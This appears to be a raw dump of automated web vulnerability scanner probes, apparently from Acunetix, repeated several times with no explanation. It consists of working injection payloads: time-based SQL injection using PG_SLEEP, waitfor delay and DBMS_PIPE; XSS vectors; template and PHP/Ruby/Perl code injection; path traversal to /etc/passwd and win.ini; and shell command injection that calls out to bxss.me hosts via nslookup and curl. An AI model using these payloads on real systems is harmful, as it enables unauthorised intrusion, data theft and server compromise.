20

  20

  20

  20

  @@TKFcF

  20����%2527%2522\'\"

  20'"

  20

  20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  20kiNSfepg')) OR 148=(SELECT 148 FROM PG_SLEEP(15))--

  209EbD52pM') OR 235=(SELECT 235 FROM PG_SLEEP(15))--

  20dy7lISVO' OR 892=(SELECT 892 FROM PG_SLEEP(15))--

  20-1)) OR 390=(SELECT 390 FROM PG_SLEEP(15))--

  20-1) OR 912=(SELECT 912 FROM PG_SLEEP(15))--

  20-1 OR 324=(SELECT 324 FROM PG_SLEEP(15))--

  20X22WfdI2')); waitfor delay '0:0:15' --

  20bhwZ6599'); waitfor delay '0:0:15' --

  20riT2XXXM'; waitfor delay '0:0:15' --

  20-1 waitfor delay '0:0:15' --

  20-1)); waitfor delay '0:0:15' --

  20-1); waitfor delay '0:0:15' --

  20-1; waitfor delay '0:0:15' --

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z

  200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

  20*if(now()=sysdate(),sleep(15),0)

  -1" OR 3+472-472-1=0+0+0+1 --

  -1" OR 2+472-472-1=0+0+0+1 --

  -1' OR 3*2>(0+5+749-749) or 'UsV83qMP'='

  -1' OR 3*2<(0+5+749-749) or 'UsV83qMP'='

  -1' OR 3+749-749-1=0+0+0+1 or 'UsV83qMP'='

  -1' OR 2+749-749-1=0+0+0+1 or 'UsV83qMP'='

  -1' OR 3*2>(0+5+337-337) --

  -1' OR 3*2<(0+5+337-337) --

  -1' OR 3+337-337-1=0+0+0+1 --

  -1' OR 2+337-337-1=0+0+0+1 --

  -1 OR 3*2>(0+5+823-823)

  -1 OR 3*2<(0+5+823-823)

  -1 OR 3+823-823-1=0+0+0+1

  -1 OR 2+823-823-1=0+0+0+1

  -1 OR 3*2>(0+5+781-781) --

  -1 OR 3*2<(0+5+781-781) --

  -1 OR 3+781-781-1=0+0+0+1 --

  -1 OR 2+781-781-1=0+0+0+1 --

  20

  20

  20

  20

  20

  20

  20

  20

  20

  20

  20

  20

  20

  20

  20

  20<iframe src="9472.com"></iframe>

  20

  20esIkr

  20}body{zzz:Expre/**/SSion(oFaR(9751))}

  <a></a>

  <a href="http://xss.bxss.me"></a>

  20<input>

  �<img>

  20&lt;ScRiPt&gt;oFaR(9711)&lt;/sCripT&gt;

  20\u003CScRiPt\oFaR(9104)\u003C/sCripT\u003E

  %32%30%3C%53%63%52%69%50%74%20%3E%6F%46%61%52%289234%29%3C%2F%73%43%72%69%70%54%3E

  20<img src="&gt;">

  20<img src="xyz">

  20<img src="//xss.bxss.me/t/dot.gif">

  20

  20<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  20<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

  20

  20&lt;ScRiPt &gt;oFaR(9059)

  20

  20

  20%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6F%46%61%52%28%39%38%32%34%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

  209515

  20

  20

  @@qwwYP

  20

  %C0%A7%C0%A2%2527%2522\'\"

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  '"

  dfb__${98991*97996}__::.x

  dfb[[${98991*97996}]]xca

  '||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  dfb{{98991*97996}}xca

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

 

  &lt;%={{={@{#{${dfb}}%&gt;

  bfgx5705%C0%BEz1%C0%BCz2a%90bcxhjl5705

  bfg9789%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9789

  209809715

  '"()&amp;%

  20'"()&amp;%

  *DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  qrrseoeZ')) OR 260=(SELECT 260 FROM PG_SLEEP(15))--

  s0mr2msn') OR 909=(SELECT 909 FROM PG_SLEEP(15))--

  20

  5NqsXsVD' OR 734=(SELECT 734 FROM PG_SLEEP(15))--

  -1)) OR 819=(SELECT 819 FROM PG_SLEEP(15))--

  -1) OR 100=(SELECT 100 FROM PG_SLEEP(15))--

  ${9999837+9999299}

  'A'.concat(70-3).concat(22*4).concat(112).concat(82).concat(98).concat(86)+(require'socket' Socket.gethostbyname('hitpi'+'hdxmfgwg39d78.bxss.me.')[3].to_s)

  '+'A'.concat(70-3).concat(22*4).concat(110).concat(82).concat(101).concat(84)+(require'socket' Socket.gethostbyname('hitqr'+'vbsovwca9c2a1.bxss.me.')[3].to_s)+'

  20

  "+"A".concat(70-3).concat(22*4).concat(115).concat(78).concat(98).concat(85)+(require"socket" Socket.gethostbyname("hitct"+"yowuekom9f316.bxss.me.")[3].to_s)+"

 

  -1 OR 38=(SELECT 38 FROM PG_SLEEP(15))--

  '"

  bxss.me/t/xss.html?%00

  HttP://bxss.me/t/xss.html?%00

  7tvv1C3j')); waitfor delay '0:0:15' --

  '.print(md5(31337)).'

  bxss.me

  ${@print(md5(31337))}\

  c:/windows/win.ini

  ${@print(md5(31337))}

  ../../../../../../../../../../../../../../etc/shells

  ";print(md5(31337));$a="

  NkT6qP3t'); waitfor delay '0:0:15' --

  20

  /etc/shells

  ';print(md5(31337));$a='

  http://bxss.me/t/fit.txt%3F.jpg

  &amp;(nslookup${IFS}-q${IFS}cname${IFS}hitbyagxtatzl6bb23.bxss.me||curl${IFS}hitbyagxtatzl6bb23.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitbyagxtatzl6bb23.bxss.me||curl${IFS}hitbyagxtatzl6bb23.bxss.me)&amp;`'

  20"||sleep(27*1000)*ncmkax||"

  Http://bxss.me/t/fit.txt

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  20'||sleep(27*1000)*rkuisi||'

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

  20"&amp;&amp;sleep(27*1000)*yikdgb&amp;&amp;"

  |(nslookup${IFS}-q${IFS}cname${IFS}hitxwtzxwjvlt8ecbd.bxss.me||curl${IFS}hitxwtzxwjvlt8ecbd.bxss.me)

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

  20'&amp;&amp;sleep(27*1000)*aykrpk&amp;&amp;'

  '"()

  ;(nslookup -q=cname hitxqbmxfxcmw1ac1c.bxss.me||curl hitxqbmxfxcmw1ac1c.bxss.me)|(nslookup -q=cname hitxqbmxfxcmw1ac1c.bxss.me||curl hitxqbmxfxcmw1ac1c.bxss.me)&amp;(nslookup -q=cname hitxqbmxfxcmw1ac1c.bxss.me||curl hitxqbmxfxcmw1ac1c.bxss.me)

  `(nslookup -q=cname hittdexxvioovc67e9.bxss.me||curl hittdexxvioovc67e9.bxss.me)`

  |(nslookup -q=cname hitmyelfchcczfa126.bxss.me||curl hitmyelfchcczfa126.bxss.me)

  &amp;(nslookup -q=cname hitjmizglvpvsd511a.bxss.me||curl hitjmizglvpvsd511a.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitjmizglvpvsd511a.bxss.me||curl hitjmizglvpvsd511a.bxss.me)&amp;`'

  &amp;nslookup -q=cname hitmxkifzytodf0fc0.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitmxkifzytodf0fc0.bxss.me&amp;`'

  20

  $(nslookup -q=cname hitxssekbvovd44ff8.bxss.me||curl hitxssekbvovd44ff8.bxss.me)

  (nslookup -q=cname hiteolyatxpia09df5.bxss.me||curl hiteolyatxpia09df5.bxss.me))

  expr 9000707914 - 914092

  20|echo lhobxy$()\ fwsnvm\nz^xyu||a #' |echo lhobxy$()\ fwsnvm\nz^xyu||a #|" |echo lhobxy$()\ fwsnvm\nz^xyu||a #

  |echo iggihk$()\ tgctwj\nz^xyu||a #' |echo iggihk$()\ tgctwj\nz^xyu||a #|" |echo iggihk$()\ tgctwj\nz^xyu||a #

  l0GcFjfu'; waitfor delay '0:0:15' --

  20&amp;echo xrhrej$()\ niblcg\nz^xyu||a #' &amp;echo xrhrej$()\ niblcg\nz^xyu||a #|" &amp;echo xrhrej$()\ niblcg\nz^xyu||a #

  &amp;echo duvelo$()\ tjlhsj\nz^xyu||a #' &amp;echo duvelo$()\ tjlhsj\nz^xyu||a #|" &amp;echo duvelo$()\ tjlhsj\nz^xyu||a #

  echo qgpguk$()\ ubtkgv\nz^xyu||a #' &amp;echo qgpguk$()\ ubtkgv\nz^xyu||a #|" &amp;echo qgpguk$()\ ubtkgv\nz^xyu||a #

  20

  20

  20

  20

  -1 waitfor delay '0:0:15' --

  20

  gethostbyname(lc('hitgt'.'vcsrogrib84e7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(79).chr(99).chr(81)

  ".gethostbyname(lc("hitqw"."hmxgmgys221cf.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(76).chr(122).chr(73)."

  -1)); waitfor delay '0:0:15' --

  '.gethostbyname(lc('hitbm'.'oheqltay201ad.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(80).chr(98).chr(78).'

  20

  -1); waitfor delay '0:0:15' --

  20

  20

  20

  ^(#$!@#$)(()))******

  20

  -1; waitfor delay '0:0:15' --

  !(()&amp;&amp;!|*|*|

  )

  ../20

  20

  +response.write(9397908*9223881)'

  file:///etc/passwd

  ../../../../../../../../../../../../../../windows/win.ini

  ../../../../../../../../../../../../../../etc/passwd

  20

  &lt;% response.write(9397908*9223881) %&gt;

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  "+response.write(9397908*9223881)+"

  20

  '+response.write(9397908*9223881)+'

  response.write(9397908*9223881)

  20

  redirtest.acx

  20

  20

  0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  20

  0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

  *if(now()=sysdate(),sleep(15),0)

  -1" OR 3*2&gt;(0+5+176-176) --

  -1" OR 3*2&lt;(0+5+176-176) --

  -1" OR 3+176-176-1=0+0+0+1 --

  -1" OR 2+176-176-1=0+0+0+1 --

  -1' OR 3*2&gt;(0+5+19-19) or 'Q8UkWQXa'='

  -1' OR 3*2&lt;(0+5+19-19) or 'Q8UkWQXa'='

  -1' OR 3+19-19-1=0+0+0+1 or 'Q8UkWQXa'='

  -1' OR 2+19-19-1=0+0+0+1 or 'Q8UkWQXa'='

  -1' OR 3*2&gt;(0+5+731-731) --

  -1' OR 3*2&lt;(0+5+731-731) --

  -1' OR 3+731-731-1=0+0+0+1 --

  -1' OR 2+731-731-1=0+0+0+1 --

  -1 OR 3*2&gt;(0+5+848-848)

  -1 OR 3*2&lt;(0+5+848-848)

  -1 OR 3+848-848-1=0+0+0+1

  -1 OR 2+848-848-1=0+0+0+1

  -1 OR 3*2&gt;(0+5+606-606) --

  -1 OR 3*2&lt;(0+5+606-606) --

  -1 OR 3+606-606-1=0+0+0+1 --

  -1 OR 2+606-606-1=0+0+0+1 --

  1KHjDklP

 

 

 

  <iframe src="9808.com"></iframe>

 

  i8yd4

  }body{zzz:Expre/**/SSion(sl1A(9462))}

  <a></a>

  <a href="http://xss.bxss.me"></a>

  <input>

  %F6<img>

  &lt;ScRiPt&gt;sl1A(9885)&lt;/sCripT&gt;

  \u003CScRiPt\sl1A(9050)\u003C/sCripT\u003E

  %0D%0A%3C%53%63%52%69%50%74%20%3E%73%6C%31%41%289956%29%3C%2F%73%43%72%69%70%54%3E

  <img src="&gt;">

  <img src="xyz">

  <img src="//xss.bxss.me/t/dot.gif">

 

  <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  <form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

 

  &lt;ScRiPt &gt;sl1A(9682)

 

 

  IpT&gt;

  9338

 

 

 

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  dfb__${98991*97996}__::.x

  dfb[[${98991*97996}]]xca

  dfb{{98991*97996}}xca

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

 

  &lt;%={{={@{#{${dfb}}%&gt;

  20

  bfgx6838%C0%BEz1%C0%BCz2a%90bcxhjl6838

  bfg7246＜s1﹥s2ʺs3ʹhjl7246

  20

  9922037

  '"()&amp;%

  '"()&amp;%

  20

  ${9999622+10000197}

  20

 

  index.php/.

 

  '"

  index.php

  index.php

  'A'.concat(70-3).concat(22*4).concat(111).concat(90).concat(106).concat(89)+(require'socket' Socket.gethostbyname('hitof'+'mgbmlwdz8e1dc.bxss.me.')[3].to_s)

  '+'A'.concat(70-3).concat(22*4).concat(106).concat(68).concat(111).concat(80)+(require'socket' Socket.gethostbyname('hitjk'+'xbhdxlep495b4.bxss.me.')[3].to_s)+'

  "+"A".concat(70-3).concat(22*4).concat(120).concat(81).concat(99).concat(90)+(require"socket" Socket.gethostbyname("hitwh"+"fpojxyzq1a3cb.bxss.me.")[3].to_s)+"

  bxss.me/t/xss.html?%00

  HttP://bxss.me/t/xss.html?%00

  '.print(md5(31337)).'

  ${@print(md5(31337))}\

  &amp;(nslookup${IFS}-q${IFS}cname${IFS}hitvrgkvsfbuae8bea.bxss.me||curl${IFS}hitvrgkvsfbuae8bea.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitvrgkvsfbuae8bea.bxss.me||curl${IFS}hitvrgkvsfbuae8bea.bxss.me)&amp;`'

  ${@print(md5(31337))}

  bxss.me

  c:/windows/win.ini

  ";print(md5(31337));$a="

  |(nslookup${IFS}-q${IFS}cname${IFS}hitosynlzaysh35e64.bxss.me||curl${IFS}hitosynlzaysh35e64.bxss.me)

  ../../../../../../../../../../../../../../etc/shells

  ';print(md5(31337));$a='

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  ;(nslookup -q=cname hitiuomrckfba7c3ed.bxss.me||curl hitiuomrckfba7c3ed.bxss.me)|(nslookup -q=cname hitiuomrckfba7c3ed.bxss.me||curl hitiuomrckfba7c3ed.bxss.me)&amp;(nslookup -q=cname hitiuomrckfba7c3ed.bxss.me||curl hitiuomrckfba7c3ed.bxss.me)

  gethostbyname(lc('hitgf'.'vmiwnvya40fee.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(70).chr(105).chr(78)

  `(nslookup -q=cname hitgzcgqbwcdfdd342.bxss.me||curl hitgzcgqbwcdfdd342.bxss.me)`

  ".gethostbyname(lc("hitna"."pkoeuthy4ba5e.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(90).chr(98).chr(78)."

  '.gethostbyname(lc('hitcy'.'ybijeqarbeb06.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(89).chr(111).chr(90).'

  |(nslookup -q=cname hitxuacuzwrqkaea5b.bxss.me||curl hitxuacuzwrqkaea5b.bxss.me)

  /etc/shells

  http://bxss.me/t/fit.txt?.jpg

  Http://bxss.me/t/fit.txt

  &amp;(nslookup -q=cname hitdrujxljvgvbd333.bxss.me||curl hitdrujxljvgvbd333.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitdrujxljvgvbd333.bxss.me||curl hitdrujxljvgvbd333.bxss.me)&amp;`'

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

  &amp;nslookup -q=cname hitrkhnrdhifo03cb3.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitrkhnrdhifo03cb3.bxss.me&amp;`'

  $(nslookup -q=cname hititnywuhugk39182.bxss.me||curl hititnywuhugk39182.bxss.me)

  "||sleep(27*1000)*yvjcvp||"

  (nslookup -q=cname hitfajnqikqbr029b1.bxss.me||curl hitfajnqikqbr029b1.bxss.me))

  '||sleep(27*1000)*vujlqd||'

  expr 9000787085 - 955822

  "&amp;&amp;sleep(27*1000)*upcazd&amp;&amp;"

  '&amp;&amp;sleep(27*1000)*xdjqwu&amp;&amp;'

  |echo sauvvo$()\ dtszup\nz^xyu||a #' |echo sauvvo$()\ dtszup\nz^xyu||a #|" |echo sauvvo$()\ dtszup\nz^xyu||a #

  '"()

  &amp;echo vrwgds$()\ lrhasa\nz^xyu||a #' &amp;echo vrwgds$()\ lrhasa\nz^xyu||a #|" &amp;echo vrwgds$()\ lrhasa\nz^xyu||a #

  echo tooltf$()\ fdyesw\nz^xyu||a #' &amp;echo tooltf$()\ fdyesw\nz^xyu||a #|" &amp;echo tooltf$()\ fdyesw\nz^xyu||a #

  ^(#$!@#$)(()))******

  !(()&amp;&amp;!|*|*|

  )

  ../

  file:///etc/passwd

  ../../../../../../../../../../../../../../windows/win.ini

  ../../../../../../../../../../../../../../etc/passwd

  +response.write(9756144*9479602)'

  &lt;% response.write(9756144*9479602) %&gt;

  "+response.write(9756144*9479602)+"

  redirtest.acx

  '+response.write(9756144*9479602)+'

  response.write(9756144*9479602)

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  ctime sleep p0 (I30 tp1 Rp2 .

  20

  20

  20

  20

  @@7KL89

  20����%2527%2522\'\"

  20'"

  20

  20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  20H9iBcyO6')) OR 385=(SELECT 385 FROM PG_SLEEP(15))--

  201dEy18wB') OR 897=(SELECT 897 FROM PG_SLEEP(15))--

  20mBHRZ9jt' OR 972=(SELECT 972 FROM PG_SLEEP(15))--

  20-1)) OR 485=(SELECT 485 FROM PG_SLEEP(15))--

  20-1) OR 14=(SELECT 14 FROM PG_SLEEP(15))--

  20-1 OR 899=(SELECT 899 FROM PG_SLEEP(15))--

  20gfx5Z1qR')); waitfor delay '0:0:15' --

  20tFtShryF'); waitfor delay '0:0:15' --

  20bKOwUhYS'; waitfor delay '0:0:15' --

  20-1 waitfor delay '0:0:15' --

  20-1)); waitfor delay '0:0:15' --

  20-1); waitfor delay '0:0:15' --

  20-1; waitfor delay '0:0:15' --

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z

  200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

  20*if(now()=sysdate(),sleep(15),0)

  -1" OR 3*2&gt;(0+5+330-330) --

  -1" OR 3*2&lt;(0+5+330-330) --

  -1" OR 3+330-330-1=0+0+0+1 --

  -1" OR 2+330-330-1=0+0+0+1 --

  -1' OR 3*2&gt;(0+5+748-748) or 'RATK9vXk'='

  -1' OR 3*2&lt;(0+5+748-748) or 'RATK9vXk'='

  -1' OR 3+748-748-1=0+0+0+1 or 'RATK9vXk'='

  -1' OR 2+748-748-1=0+0+0+1 or 'RATK9vXk'='

  -1' OR 3*2&gt;(0+5+846-846) --

  -1' OR 3*2&lt;(0+5+846-846) --

  -1' OR 3+846-846-1=0+0+0+1 --

  -1' OR 2+846-846-1=0+0+0+1 --

  -1 OR 3*2&gt;(0+5+658-658)

  -1 OR 3*2&lt;(0+5+658-658)

  -1 OR 3+658-658-1=0+0+0+1

  -1 OR 2+658-658-1=0+0+0+1

  -1 OR 3*2&gt;(0+5+632-632) --

  -1 OR 3*2&lt;(0+5+632-632) --

  -1 OR 3+632-632-1=0+0+0+1 --

  -1 OR 2+632-632-1=0+0+0+1 --

  20

  20

  20

  20

  20

  20

  @@UidIS

  %C0%A7%C0%A2%2527%2522\'\"

  20

  '"

  '||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  20

  *DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  LUvnBBrf')) OR 598=(SELECT 598 FROM PG_SLEEP(15))--

  20

  v81tQp61') OR 930=(SELECT 930 FROM PG_SLEEP(15))--

  10nOrweG' OR 33=(SELECT 33 FROM PG_SLEEP(15))--

  20

  20

  20

  20<iframe src="9658.com"></iframe>

  20

  -1)) OR 148=(SELECT 148 FROM PG_SLEEP(15))--

  20MDYhV

  20}body{zzz:Expre/**/SSion(XuqZ(9654))}

  <a></a>

  <a href="http://xss.bxss.me"></a>

  20<input>

  �<img>

  20&lt;ScRiPt&gt;XuqZ(9787)&lt;/sCripT&gt;

  20\u003CScRiPt\XuqZ(9539)\u003C/sCripT\u003E

  %32%30%3C%53%63%52%69%50%74%20%3E%58%75%71%5A%289998%29%3C%2F%73%43%72%69%70%54%3E

  20<img src="&gt;">

  20<img src="xyz">

  20<img src="//xss.bxss.me/t/dot.gif">

  -1) OR 911=(SELECT 911 FROM PG_SLEEP(15))--

  20

  -1 OR 500=(SELECT 500 FROM PG_SLEEP(15))--

  20<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  20<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

  20

  20&lt;ScRiPt &gt;XuqZ(9056)

  20

  217WDDjU')); waitfor delay '0:0:15' --

  20

  20%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%58%75%71%5A%28%39%36%37%34%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

  209751

  20

  20

  20

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  dfb__${98991*97996}__::.x

  7zhD0lsX'); waitfor delay '0:0:15' --

  dfb[[${98991*97996}]]xca

  dfb{{98991*97996}}xca

  20

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

  20

  RfZXBwcs'; waitfor delay '0:0:15' --

 

  20

  &lt;%={{={@{#{${dfb}}%&gt;

  bfgx3091%C0%BEz1%C0%BCz2a%90bcxhjl3091

  bfg8918%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8918

  209904064

  '"()&amp;%

  -1 waitfor delay '0:0:15' --

  20'"()&amp;%

  -1)); waitfor delay '0:0:15' --

  -1); waitfor delay '0:0:15' --

  20

  20

  20

  -1; waitfor delay '0:0:15' --

  20

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡

  20

  20

  bxss.me

  20

  c:/windows/win.ini

  0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

  20

  ../../../../../../../../../../../../../../etc/shells

  ${9999247+9999018}

  20

  /etc/shells

  http://bxss.me/t/fit.txt%3F.jpg

  Http://bxss.me/t/fit.txt

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

 

  '"

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

  0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

  'A'.concat(70-3).concat(22*4).concat(116).concat(73).concat(98).concat(84)+(require'socket' Socket.gethostbyname('hitsc'+'lkfcdkjpea6a9.bxss.me.')[3].to_s)

  '+'A'.concat(70-3).concat(22*4).concat(99).concat(80).concat(103).concat(81)+(require'socket' Socket.gethostbyname('hitjc'+'jkbstfio61208.bxss.me.')[3].to_s)+'

  '.print(md5(31337)).'

  ${@print(md5(31337))}\

  "+"A".concat(70-3).concat(22*4).concat(117).concat(76).concat(97).concat(82)+(require"socket" Socket.gethostbyname("hitdx"+"ejjeiyyjfdc49.bxss.me.")[3].to_s)+"

  ${@print(md5(31337))}

  ";print(md5(31337));$a="

  ';print(md5(31337));$a='

  &amp;(nslookup${IFS}-q${IFS}cname${IFS}hitgrjiwevahi964c8.bxss.me||curl${IFS}hitgrjiwevahi964c8.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitgrjiwevahi964c8.bxss.me||curl${IFS}hitgrjiwevahi964c8.bxss.me)&amp;`'

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  |(nslookup${IFS}-q${IFS}cname${IFS}hitsfbbgdzocycb6d5.bxss.me||curl${IFS}hitsfbbgdzocycb6d5.bxss.me)

  ;(nslookup -q=cname hitynljippaka67424.bxss.me||curl hitynljippaka67424.bxss.me)|(nslookup -q=cname hitynljippaka67424.bxss.me||curl hitynljippaka67424.bxss.me)&amp;(nslookup -q=cname hitynljippaka67424.bxss.me||curl hitynljippaka67424.bxss.me)

  `(nslookup -q=cname hitfhcetezhcd5d5bd.bxss.me||curl hitfhcetezhcd5d5bd.bxss.me)`

  *if(now()=sysdate(),sleep(15),0)

  |(nslookup -q=cname hitxbljtstpjj2736c.bxss.me||curl hitxbljtstpjj2736c.bxss.me)

  &amp;(nslookup -q=cname hitgxqyqsirjd27a0d.bxss.me||curl hitgxqyqsirjd27a0d.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitgxqyqsirjd27a0d.bxss.me||curl hitgxqyqsirjd27a0d.bxss.me)&amp;`'

  &amp;nslookup -q=cname hitwbynokjowcf8891.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitwbynokjowcf8891.bxss.me&amp;`'

  20

  $(nslookup -q=cname hitwblmfgkzqba2391.bxss.me||curl hitwblmfgkzqba2391.bxss.me)

  -1" OR 3*2&gt;(0+5+761-761) --

  20"||sleep(27*1000)*wbvpro||"

  -1" OR 3*2&lt;(0+5+761-761) --

  20'||sleep(27*1000)*ukldrt||'

  -1" OR 3+761-761-1=0+0+0+1 --

  (nslookup -q=cname hitfctvhrqbcd47074.bxss.me||curl hitfctvhrqbcd47074.bxss.me))

  20"&amp;&amp;sleep(27*1000)*uwljjg&amp;&amp;"

  expr 9000762897 - 962094

  20'&amp;&amp;sleep(27*1000)*dgehbb&amp;&amp;'

  20|echo qucdck$()\ fycnyo\nz^xyu||a #' |echo qucdck$()\ fycnyo\nz^xyu||a #|" |echo qucdck$()\ fycnyo\nz^xyu||a #

  -1" OR 2+761-761-1=0+0+0+1 --